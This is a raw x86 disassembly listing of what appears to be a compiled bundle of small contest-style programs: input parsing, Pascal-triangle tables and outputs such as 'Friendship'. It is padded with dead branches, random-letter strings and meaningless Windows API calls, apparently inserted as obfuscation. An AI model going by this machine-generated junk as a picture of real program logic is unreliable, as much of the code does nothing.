mov eax, dword [ebp - 0x10e4]
dec eax
mov dword [ebp - 0x10e4], eax
mov eax, dword [ebp - 0x38]
inc eax
cmp dword [ebp - 0x10e4], eax
jl 0x4da827
lea ecx, [ebp - 0x1afc]
call fcn.0040175f
cmp dword [ebp - 0x10], eax
jae 0x4da827
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1afc]
call fcn.0040174b
push eax
lea ecx, [ebp - 0x1144]
call fcn.004e9f52
push 4
pop ecx
sub ecx, dword [ebp - 0x14]
xor edx, edx
inc edx
shl edx, cl
and edx, dword [eax]
je 0x4da808
imul eax, dword [ebp - 0x10e4], 0x15
lea eax, [ebp + eax - 0x4440]
mov ecx, dword [ebp - 0x38]
mov byte [eax + ecx], 1
cmp dword [ebp - 0x14], 4
jne 0x4da815
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
inc eax
cdq
push 5
pop ecx
idiv ecx
mov dword [ebp - 0x14], edx
jmp 0x4da7a1
jmp 0x4da58a
mov eax, dword [ebp - 0x118]
and eax, 0x80000001
jns 0x4da83e
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x4da8f9
mov eax, dword [ebp - 0x118]
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0xaa4], eax
jmp 0x4da867
mov eax, dword [ebp - 0xaa4]
inc eax
mov dword [ebp - 0xaa4], eax
mov eax, dword [ebp - 0x118]
cdq
sub eax, edx
sar eax, 1
mov ecx, dword [ebp - 0x490]
sub ecx, eax
cmp dword [ebp - 0xaa4], ecx
jge 0x4da8f9
lea ecx, [ebp - 0x1afc]
call fcn.0040175f
cmp dword [ebp - 0x10], eax
jae 0x4da8f9
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1afc]
call fcn.0040174b
push eax
lea ecx, [ebp - 0x1144]
call fcn.004e9f52
push 4
pop ecx
sub ecx, dword [ebp - 0x14]
xor edx, edx
inc edx
shl edx, cl
and edx, dword [eax]
je 0x4da8da
mov eax, dword [ebp - 0x118]
cdq
sub eax, edx
sar eax, 1
imul eax, eax, 0x15
lea eax, [ebp + eax - 0x4440]
mov ecx, dword [ebp - 0xaa4]
mov byte [eax + ecx], 1
cmp dword [ebp - 0x14], 4
jne 0x4da8e7
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
inc eax
cdq
push 5
pop ecx
idiv ecx
mov dword [ebp - 0x14], edx
jmp 0x4da85a
push dword [ebp - 0xf2c]
mov ecx, 0xac7538
call fcn.00417681
mov edx, 0xab59f0
mov ecx, eax
call fcn.0041c2dd
and dword [ebp - 0xaac], 0
jmp 0x4da92b
mov eax, dword [ebp - 0xaac]
inc eax
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0xaac]
cmp eax, dword [ebp - 0x118]
jge 0x4da984
and dword [ebp - 0x1024], 0
jmp 0x4da94f
mov eax, dword [ebp - 0x1024]
inc eax
mov dword [ebp - 0x1024], eax
mov eax, dword [ebp - 0x1024]
cmp eax, dword [ebp - 0x490]
jge 0x4da982
imul eax, dword [ebp - 0xaac], 0x15
lea eax, [ebp + eax - 0x4440]
mov ecx, dword [ebp - 0x1024]
movzx eax, byte [eax + ecx]
push eax
mov ecx, 0xac7538
call fcn.004e9a2a
jmp 0x4da942
jmp 0x4da91e
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
jmp 0x4da4cc
lea ecx, [ebp - 0x1afc]
call fcn.00401711
lea ecx, [ebp - 0x1144]
call fcn.004e9a04
and dword [ebp - 0xab4], 0
jmp 0x4da9c4
mov eax, dword [ebp - 0xab4]
inc eax
mov dword [ebp - 0xab4], eax
cmp dword [ebp - 0xab4], 0x2506
jge 0x4daa56
and dword [ebp - 0xf34], 0
jmp 0x4da9ea
mov eax, dword [ebp - 0xf34]
inc eax
mov dword [ebp - 0xf34], eax
cmp dword [ebp - 0xf34], 0x3772
jge 0x4daa51
and dword [ebp - 0xabc], 0
jmp 0x4daa0c
mov eax, dword [ebp - 0xabc]
inc eax
mov dword [ebp - 0xabc], eax
cmp dword [ebp - 0xabc], 0xc8b
jge 0x4daa4f
mov eax, dword [ebp - 0xab4]
add eax, dword [ebp - 0xf34]
or eax, dword [ebp - 0xabc]
cdq
mov dword [ebp - 0x20dc], eax
mov dword [ebp - 0x20d8], edx
push dword [ebp - 0x20d8]
push dword [ebp - 0x20dc]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4da9ff
jmp 0x4da9dd
jmp 0x4da9b7
cmp dword [ebp - 0x1988], 0x4f35
jge 0x4daa72
mov edx, dword [ebp - 0x1f30]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1648], 0x74e1
jge 0x4daa8e
mov edx, dword [ebp - 0x2714]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1f3c], 0x26d1
cmp dword [ebp - 0x1f3c], 0xa59
jge 0x4dab5b
lea eax, [ebp - 0x1f54]
push eax
lea eax, [ebp - 0x1f48]
push eax
lea eax, [ebp - 0x271c]
push eax
lea eax, [ebp - 0x2a54]
push eax
lea eax, [ebp - 0x1868]
push eax
push str._ld__ld__ld__ld__ld
call fcn.004f117c
add esp, 0x18
mov eax, dword [ebp - 0x1868]
imul eax, dword [ebp - 0x2a54]
mov ecx, dword [ebp - 0x1f48]
lea eax, [eax + ecx*2]
mov dword [ebp - 0x1650], eax
mov eax, dword [ebp - 0x1868]
imul eax, dword [ebp - 0x271c]
mov ecx, dword [ebp - 0x1f54]
lea eax, [eax + ecx*2]
mov dword [ebp - 0x19e8], eax
mov eax, dword [ebp - 0x1650]
cmp eax, dword [ebp - 0x19e8]
jne 0x4dab2b
push str.Friendship
call fcn.004f1b87
pop ecx
jmp 0x4dab5b
mov eax, dword [ebp - 0x1650]
cmp eax, dword [ebp - 0x19e8]
jge 0x4dab45
mov dword [ebp - 0x1658], str.First
jmp 0x4dab4f
mov dword [ebp - 0x1658], str.Second
push dword [ebp - 0x1658]
call fcn.004f1b87
pop ecx
cmp dword [ebp - 0x1870], 0x2e72
jge 0x4dac30
mov dword [ebp - 0x2908], 0x211b
cmp dword [ebp - 0x2908], 0x1148
jge 0x4dac20
lea eax, [ebp - 0x1350]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [ebp - 0x1350]
mov dword [ebp - 0x1f60], eax
mov eax, dword [ebp - 0x1350]
dec eax
mov dword [ebp - 0x1350], eax
cmp dword [ebp - 0x1f60], 0
je 0x4dac20
lea eax, [ebp - 0x2724]
push eax
mov ecx, 0xac75e0
call fcn.00417279
push fcn.0041c2ab
imul eax, dword [ebp - 0x2724], 0xc1
cdq
push 9
pop ecx
idiv ecx
add eax, 0xc1
imul eax, eax, 0xc1
cdq
push 0x2f
pop ecx
idiv ecx
sub eax, 0xc1
cdq
mov ecx, 0xc1
idiv ecx
mov eax, edx
cdq
push 0xa
pop ecx
idiv ecx
cdq
xor eax, edx
sub eax, edx
push eax
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
jmp 0x4dab96
mov edx, dword [ebp - 0x1f6c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1990], 0x1449
mov dword [ebp - 0x1f84], str.eykhybob_qjh_mqgolj_yekt_oicgdu_ralhhoc_qmacebq_heswssxl_spaby_kuiecxj_svml_jhgg
cmp dword [ebp - 0x1990], 0x152e
jle 0x4daf94
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
and dword [ebp - 0x1094], 0
jmp 0x4dac72
mov eax, dword [ebp - 0x1094]
inc eax
mov dword [ebp - 0x1094], eax
cmp dword [ebp - 0x1094], 0x6469
jge 0x4daf88
and dword [ebp - 0xac4], 0
jmp 0x4dac98
mov eax, dword [ebp - 0xac4]
inc eax
mov dword [ebp - 0xac4], eax
cmp dword [ebp - 0xac4], 0x73b7
jge 0x4daf83
and dword [ebp - 0xf3c], 0
jmp 0x4dacbe
mov eax, dword [ebp - 0xf3c]
inc eax
mov dword [ebp - 0xf3c], eax
cmp dword [ebp - 0xf3c], 0x1b5a
jge 0x4daf7e
mov eax, dword [ebp - 0x1094]
and eax, dword [ebp - 0xac4]
and eax, dword [ebp - 0xf3c]
cdq
mov dword [ebp - 0x20e8], eax
mov dword [ebp - 0x20e4], edx
mov dword [ebp - 0x2a18], 0x1477
cmp dword [ebp - 0x2a18], 0xda7
jge 0x4daf47
call fcn.004f12b6
push 0x20
pop ecx
imul ecx, ecx, 0
add eax, ecx
push eax
push 0xab59f4
push str.in.txt
call fcn.004f1af8
add esp, 0xc
call fcn.004f12b6
push 0x20
pop ecx
shl ecx, 0
add eax, ecx
push eax
push 0xab5f10
push str.out.txt
call fcn.004f1af8
add esp, 0xc
mov eax, 0x198
imul eax, eax, 0
lea eax, [ebp + eax - 0xc414]
push 8
pop ecx
imul ecx, ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
mov eax, 0x198
shl eax, 0
lea eax, [ebp + eax - 0xc414]
push 8
pop ecx
imul ecx, ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
mov eax, 0x198
shl eax, 0
lea eax, [ebp + eax - 0xc414]
push 8
pop ecx
shl ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
mov dword [ebp - 0xdc], 2
jmp 0x4dadc3
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x33
jge 0x4daea5
imul eax, dword [ebp - 0xdc], 0x198
lea eax, [ebp + eax - 0xc414]
push 8
pop ecx
imul ecx, ecx, 0
mov dword [eax + ecx], 1
and dword [eax + ecx + 4], 0
imul eax, dword [ebp - 0xdc], 0x198
lea eax, [ebp + eax - 0xc414]
mov ecx, dword [ebp - 0xdc]
mov dword [eax + ecx*8], 1
and dword [eax + ecx*8 + 4], 0
mov dword [ebp - 0x2ec], 1
jmp 0x4dae2f
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
mov eax, dword [ebp - 0x2ec]
cmp eax, dword [ebp - 0xdc]
jge 0x4daea0
mov eax, dword [ebp - 0xdc]
dec eax
imul eax, eax, 0x198
lea eax, [ebp + eax - 0xc414]
mov ecx, dword [ebp - 0xdc]
dec ecx
imul ecx, ecx, 0x198
lea ecx, [ebp + ecx - 0xc414]
mov edx, dword [ebp - 0x2ec]
mov esi, dword [ebp - 0x2ec]
mov edi, dword [eax + edx*8 - 8]
add edi, dword [ecx + esi*8]
mov eax, dword [eax + edx*8 - 4]
adc eax, dword [ecx + esi*8 + 4]
imul ecx, dword [ebp - 0xdc], 0x198
lea ecx, [ebp + ecx - 0xc414]
mov edx, dword [ebp - 0x2ec]
mov dword [ecx + edx*8], edi
mov dword [ecx + edx*8 + 4], eax
jmp 0x4dae22
jmp 0x4dadb6
xor eax, eax
inc eax
je 0x4daf47
lea eax, [ebp - 0x1270]
push eax
mov ecx, 0xac75e0
call fcn.00417279
cmp dword [ebp - 0x1270], 0
jge 0x4daeca
jmp 0x4daf47
push 1
mov ecx, 0xac7538
call fcn.00417681
mov dword [ebp - 0xacc], 1
jmp 0x4daeef
mov eax, dword [ebp - 0xacc]
inc eax
mov dword [ebp - 0xacc], eax
mov eax, dword [ebp - 0xacc]
cmp eax, dword [ebp - 0x1270]
jg 0x4daf33
imul eax, dword [ebp - 0x1270], 0x198
lea eax, [ebp + eax - 0xc414]
mov ecx, dword [ebp - 0xacc]
push dword [eax + ecx*8 + 4]
push dword [eax + ecx*8]
mov edx, 0xab59f0
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.004178b5
jmp 0x4daee2
push fcn.0041c2ab
mov ecx, 0xac7538
call fcn.00417675
jmp 0x4daea5
push dword [ebp - 0x20e4]
push dword [ebp - 0x20e8]
lea ecx, [ebp - 0x3678]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3678]
call fcn.00401711
jmp 0x4dacb1
jmp 0x4dac8b
jmp 0x4dac65
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [ebp - 0x1f78], 0x1e93
cmp dword [ebp - 0x1f78], 0xc40
jge 0x4db09c
lea eax, [ebp - 0x1434]
push eax
push str._ld_n
call fcn.004f117c
pop ecx
pop ecx
mov byte [ebp - 0x46], 0
and dword [ebp - 0x3f8], 0
jmp 0x4dafdb
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
imul eax, dword [ebp - 0x3f8], 0x92
cmp eax, dword [ebp - 0x1434]
jg 0x4db072
movzx eax, byte [ebp - 0x46]
test eax, eax
je 0x4daffb
jmp 0x4db072
and dword [ebp - 0x102c], 0
jmp 0x4db011
mov eax, dword [ebp - 0x102c]
inc eax
mov dword [ebp - 0x102c], eax
imul eax, dword [ebp - 0x3f8], 0x92
imul ecx, dword [ebp - 0x102c], 0x92
add eax, ecx
cmp eax, dword [ebp - 0x1434]
jg 0x4db06d
imul eax, dword [ebp - 0x3f8], 0x92
mov ecx, dword [ebp - 0x1434]
sub ecx, eax
imul eax, dword [ebp - 0x102c], 0x92
sub ecx, eax
mov dword [ebp - 0x272c], ecx
mov eax, dword [ebp - 0x272c]
cdq
mov ecx, 0x92
idiv ecx
test edx, edx
jne 0x4db06b
mov byte [ebp - 0x46], 1
jmp 0x4db06d
jmp 0x4db004
jmp 0x4dafce
movzx eax, byte [ebp - 0x46]
test eax, eax
je 0x4db086
mov dword [ebp - 0x1660], 0xab5934
jmp 0x4db090
mov dword [ebp - 0x1660], 0xab5938
push dword [ebp - 0x1660]
call fcn.004f1b87
pop ecx
jmp 0x4d3e0e
mov eax, dword [ebp - 0x5c]
movzx eax, byte [ebp + eax - 0xf7]
mov ecx, dword [ebp - 0x5c]
sub ecx, dword [ebp - 0xc14]
movzx ecx, byte [ebp + ecx - 0xfa]
movzx ecx, word [ebp + ecx*2 - 0x112c]
or eax, ecx
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0xf7]
mov edx, dword [ebp - 0x5c]
sub edx, dword [ebp - 0xc14]
movzx edx, byte [ebp + edx - 0xfa]
movzx edx, word [ebp + edx*2 - 0x112c]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x5c]
movzx ecx, byte [ebp + ecx - 0xf8]
mov word [ebp + ecx*2 - 0x112c], ax
mov dword [ebp - 0x1718], 0x4e90
mov dword [ebp - 0x2784], 0x18c0
cmp dword [ebp - 0x2784], 0xe2a
jge 0x4ddfcb
push 0x1e8480
push 0xffffffffffffffff
push 0x27b15a8
call fcn.004caaff
add esp, 0xc
push 0x27354b4
push 0xab57f4
call fcn.004f117c
pop ecx
pop ecx
cmp eax, 0xffffffff
je 0x4ddfcb
and dword [ebp - 0xe90], 0
jmp 0x4dde6a
mov eax, dword [ebp - 0xe90]
inc eax
mov dword [ebp - 0xe90], eax
cmp dword [ebp - 0xe90], 6
jge 0x4dde86
mov eax, dword [ebp - 0xe90]
mov dword [eax*4 + 0x2999aec], 4
jmp 0x4dde5d
and dword [ebp - 0xc04], 0
mov dword [ebp - 0x35c], 0x27354b4
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x208c], eax
mov eax, dword [ebp - 0x35c]
mov al, byte [eax]
mov byte [ebp - 0x195], al
inc dword [ebp - 0x35c]
cmp byte [ebp - 0x195], 0
jne 0x4ddea4
mov eax, dword [ebp - 0x35c]
sub eax, dword [ebp - 0x208c]
mov dword [ebp - 0x280c], eax
mov eax, dword [ebp - 0x280c]
mov dword [ebp - 0x1a08], eax
and dword [ebp - 0x244], 0
jmp 0x4ddef5
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x244]
cmp eax, dword [ebp - 0x1a08]
jge 0x4ddf4b
mov eax, dword [ebp - 0x244]
movsx eax, byte [eax + 0x27354b4]
mov ecx, dword [ebp - 0xc04]
lea eax, [ecx + eax - 0x30]
mov dword [ebp - 0xc04], eax
mov eax, dword [ebp - 0x244]
movsx eax, byte [eax + 0x27354b4]
mov eax, dword [eax*4 + 0x2999a28]
dec eax
mov ecx, dword [ebp - 0x244]
movsx ecx, byte [ecx + 0x27354b4]
mov dword [ecx*4 + 0x2999a28], eax
jmp 0x4ddee8
mov eax, dword [ebp - 0x1a08]
and eax, 1
je 0x4ddf8f
push dword [ebp - 0xc04]
call fcn.004cbe23
pop ecx
movzx eax, al
test eax, eax
je 0x4ddf7c
push 0x27354b4
push str._s_B_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4ddf8d
push 0x27354b4
push str._s_A_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4ddfc6
push dword [ebp - 0xc04]
call fcn.004cbe23
pop ecx
movzx eax, al
test eax, eax
je 0x4ddfb5
push 0x27354b4
push str._s_A_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4ddfc6
push 0x27354b4
push str._s_B_n
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4dde3a
mov dword [ebp - 0x20a4], str.drsj_gtyayi_dqqa_mcrqkuqc_xsi_ygqfucvbn_wdwcqxt_oxfe_ueiogkbw
mov dword [ebp - 0x2098], 0x171d
cmp dword [ebp - 0x2098], 0xda2
jge 0x4de10d
push 0x68000
push 0xffffffffffffffff
push 0x240b908
call fcn.004caaff
add esp, 0xc
mov dword [ebp - 0x3dc0], 1
and dword [ebp - 0x3dbc], 0
push 0x98
push 0
lea eax, [ebp - 0x3db8]
push eax
call fcn.004f3f10
add esp, 0xc
mov dword [ebp - 0x248], 1
jmp 0x4de043
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x14
jge 0x4de084
mov eax, dword [ebp - 0x248]
cdq
mov ecx, dword [ebp - 0x248]
push edx
push eax
push dword [ebp + ecx*8 - 0x3dc4]
push dword [ebp + ecx*8 - 0x3dc8]
call fcn.004f5310
mov ecx, dword [ebp - 0x248]
mov dword [ebp + ecx*8 - 0x3dc0], eax
mov dword [ebp + ecx*8 - 0x3dbc], edx
jmp 0x4de036
push 0x27b134c
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [0x27b134c]
mov dword [ebp - 0x2790], eax
mov eax, dword [0x27b134c]
dec eax
mov dword [0x27b134c], eax
cmp dword [ebp - 0x2790], 0
je 0x4de10d
push 0x299d90c
mov ecx, 0xac75e0
call fcn.00417279
push fcn.0041c2ab
mov eax, dword [0x299d90c]
push dword [ebp + eax*8 - 0x3dbc]
push dword [ebp + eax*8 - 0x3dc0]
mov eax, dword [0x299d90c]
dec eax
push eax
push 0
call fcn.004cbf66
pop ecx
pop ecx
push eax
mov ecx, 0xac7538
call fcn.00417681
mov dl, 0x2f
mov ecx, eax
call fcn.0041c4df
mov ecx, eax
call fcn.004178b5
mov ecx, eax
call fcn.00417675
jmp 0x4de093
cmp dword [ebp - 0x1718], 0x51c6
jle 0x4de1e8
and dword [ebp - 0xe98], 0
jmp 0x4de133
mov eax, dword [ebp - 0xe98]
inc eax
mov dword [ebp - 0xe98], eax
cmp dword [ebp - 0xe98], 0x49f
jge 0x4de1e8
and dword [ebp - 0xc0c], 0
jmp 0x4de159
mov eax, dword [ebp - 0xc0c]
inc eax
mov dword [ebp - 0xc0c], eax
cmp dword [ebp - 0xc0c], 0x619d
jge 0x4de1e3
and dword [ebp - 0xea0], 0
jmp 0x4de17b
mov eax, dword [ebp - 0xea0]
inc eax
mov dword [ebp - 0xea0], eax
cmp dword [ebp - 0xea0], 0x363
jge 0x4de1de
mov eax, dword [ebp - 0xe98]
mov ecx, dword [ebp - 0xc0c]
sar eax, cl
mov ecx, dword [ebp - 0xea0]
sar eax, cl
cdq
mov dword [ebp - 0x2208], eax
mov dword [ebp - 0x2204], edx
push dword [ebp - 0x2204]
push dword [ebp - 0x2208]
lea ecx, [ebp - 0x3768]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3768]
call fcn.00401711
jmp 0x4de16e
jmp 0x4de14c
jmp 0x4de126
and dword [ebp - 0xc14], 0
cmp dword [ebp - 0x1718], 0x4dd7
jge 0x4de207
push dword [ebp - 0x20a4]
call fcn.004f1488
pop ecx
jmp 0x4d3e0e
mov dword [ebp - 0x19c0], 0x72d6
mov dword [ebp - 0x2814], 0x1398
cmp dword [ebp - 0x2814], 0xfa1
jge 0x4de3ed
lea eax, [ebp - 0x13fc]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x13fc]
lea ecx, [ebp - 0x1454]
call fcn.004179d7
and dword [ebp - 0xea8], 0
jmp 0x4de26a
mov eax, dword [ebp - 0xea8]
inc eax
mov dword [ebp - 0xea8], eax
mov eax, dword [ebp - 0xea8]
cmp eax, dword [ebp - 0x13fc]
jge 0x4de298
push dword [ebp - 0xea8]
lea ecx, [ebp - 0x1454]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4de25d
lea eax, [ebp - 0x2e34]
push eax
lea ecx, [ebp - 0x1454]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2f40]
push eax
lea ecx, [ebp - 0x1454]
call fcn.00417af4
push dword [eax]
call fcn.0041c23e
pop ecx
pop ecx
and dword [ebp - 0x250], 0
and dword [ebp - 0x1c4], 0
and dword [ebp - 0x104], 0
jmp 0x4de2eb
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x13fc]
jge 0x4de3d0
push dword [ebp - 0x104]
lea ecx, [ebp - 0x1454]
call fcn.00417bb8
mov eax, dword [eax]
dec eax
cmp dword [ebp - 0x250], eax
jge 0x4de345
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
push dword [ebp - 0x104]
lea ecx, [ebp - 0x1454]
call fcn.00417bb8
mov eax, dword [eax]
dec eax
mov dword [ebp - 0x250], eax
jmp 0x4de3cb
push dword [ebp - 0x104]
lea ecx, [ebp - 0x1454]
call fcn.00417bb8
mov ecx, dword [ebp - 0x250]
cmp ecx, dword [eax]
jge 0x4de388
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
push dword [ebp - 0x104]
lea ecx, [ebp - 0x1454]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x250], eax
jmp 0x4de3cb
push dword [ebp - 0x104]
lea ecx, [ebp - 0x1454]
call fcn.00417bb8
mov eax, dword [eax]
inc eax
cmp dword [ebp - 0x250], eax
jge 0x4de3cb
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
push dword [ebp - 0x104]
lea ecx, [ebp - 0x1454]
call fcn.00417bb8
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x250], eax
jmp 0x4de2de
push dword [ebp - 0x1c4]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x1454]
call fcn.00417aef
mov dword [ebp - 0x20c8], str.cvhvnh_wnkqkdr_cftyyde_estgpnfjv_yml_tyliq
cmp dword [ebp - 0x19c0], 0x72f4
jle 0x4de48f
and dword [ebp - 0xc1c], 0
jmp 0x4de41d
mov eax, dword [ebp - 0xc1c]
inc eax
mov dword [ebp - 0xc1c], eax
cmp dword [ebp - 0xc1c], 0x6d4e
jge 0x4de481
and dword [ebp - 0xeb0], 0
jmp 0x4de43f
mov eax, dword [ebp - 0xeb0]
inc eax
mov dword [ebp - 0xeb0], eax
cmp dword [ebp - 0xeb0], 0x2dbf
jge 0x4de47f
mov eax, dword [ebp - 0xc1c]
cdq
idiv dword [ebp - 0xeb0]
mov eax, edx
cdq
mov dword [ebp - 0x2214], eax
mov dword [ebp - 0x2210], edx
push dword [ebp - 0x2210]
push dword [ebp - 0x2214]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4de432
jmp 0x4de410
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 2
pop eax
shl eax, 1
xor ecx, ecx
mov word [ebp + eax - 0x112c], cx
mov dword [ebp - 0x20b0], 0x1d33
cmp dword [ebp - 0x20b0], 0x1207
jge 0x4de717
lea eax, [ebp - 0x12a8]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x12a8]
mov dword [ebp - 0x279c], eax
mov eax, dword [ebp - 0x12a8]
dec eax
mov dword [ebp - 0x12a8], eax
cmp dword [ebp - 0x279c], 0
je 0x4de717
lea eax, [ebp - 0x364]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x364]
inc eax
push eax
lea ecx, [ebp - 0x2af8]
call fcn.004179d7
mov dword [ebp - 0xc24], 1
jmp 0x4de530
mov eax, dword [ebp - 0xc24]
inc eax
mov dword [ebp - 0xc24], eax
mov eax, dword [ebp - 0xc24]
cmp eax, dword [ebp - 0x364]
jg 0x4de55e
push dword [ebp - 0xc24]
lea ecx, [ebp - 0x2af8]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4de523
mov dword [ebp - 0x20bc], 1
lea eax, [ebp - 0x20bc]
push eax
mov eax, dword [ebp - 0x364]
inc eax
push eax
lea ecx, [ebp - 0x1a54]
call fcn.00417d23
mov dword [ebp - 0xeb8], 1
mov dword [ebp - 0x160], 1
jmp 0x4de5a5
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x364]
jg 0x4de6ea
mov eax, dword [ebp - 0x160]
shl eax, 1
mov dword [ebp - 0x10c], eax
jmp 0x4de5d9
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x160]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x364]
jg 0x4de6e5
push dword [ebp - 0x160]
lea ecx, [ebp - 0x2af8]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x2af8]
call fcn.00417bb8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x4de6e0
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x1a54]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x160]
lea ecx, [ebp - 0x1a54]
call fcn.00417bb8
mov eax, dword [eax]
inc eax
cmp dword [esi], eax
jle 0x4de65f
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x1a54]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x18d0], eax
jmp 0x4de679
push dword [ebp - 0x160]
lea ecx, [ebp - 0x1a54]
call fcn.00417bb8
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x18d0], eax
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x1a54]
call fcn.00417bb8
mov ecx, dword [ebp - 0x18d0]
mov dword [eax], ecx
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x1a54]
call fcn.00417bb8
mov ecx, dword [ebp - 0xeb8]
cmp ecx, dword [eax]
jle 0x4de6bb
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0x1720], eax
jmp 0x4de6d4
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x1a54]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x1720], eax
mov eax, dword [ebp - 0x1720]
mov dword [ebp - 0xeb8], eax
jmp 0x4de5c7
jmp 0x4de598
push dword [ebp - 0xeb8]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x1a54]
call fcn.00417aef
lea ecx, [ebp - 0x2af8]
call fcn.00417aef
jmp 0x4de4cb
cmp dword [ebp - 0x19c0], 0x6ef5
jge 0x4de79f
mov dword [ebp - 0x281c], 0x26d8
cmp dword [ebp - 0x281c], 0x1182
jge 0x4de78f
push 0x29a0bb0
push 0x240b764
push 0x2b280d8
push str._d_d_d
call fcn.004f117c
add esp, 0x10
cmp eax, 0xffffffff
je 0x4de78f
push 0x2062b0
push 0xffffffffffffffff
push 0x2beb600
call fcn.004caaff
add esp, 0xc
push 0
push 1
push 1
push 1
call fcn.004cc4e0
add esp, 0x10
push edx
push eax
push str._lld_n
call fcn.004f1488
add esp, 0xc
jmp 0x4de739
mov edx, dword [ebp - 0x20c8]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x1728], 0x51cb
jge 0x4de7b7
push dword [ebp - 0x27a8]
call fcn.004f1488
pop ecx
lea eax, [ebp - 0x112c]
push eax
lea ecx, [ebp - 0x3064]
call fcn.004cb030
and dword [ebp - 0x5a8], 0
jmp 0x4de7df
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 3
jae 0x4dff51
mov dword [ebp - 0x20d4], 0x154c
cmp dword [ebp - 0x20d4], 0x414
jge 0x4deb35
xor eax, eax
inc eax
je 0x4deb35
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x124]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
cmp dword [ebp - 0x258], 0
jne 0x4de838
jmp 0x4deb35
and dword [ebp - 0xc2c], 0
jmp 0x4de84e
mov eax, dword [ebp - 0xc2c]
inc eax
mov dword [ebp - 0xc2c], eax
mov eax, dword [ebp - 0xc2c]
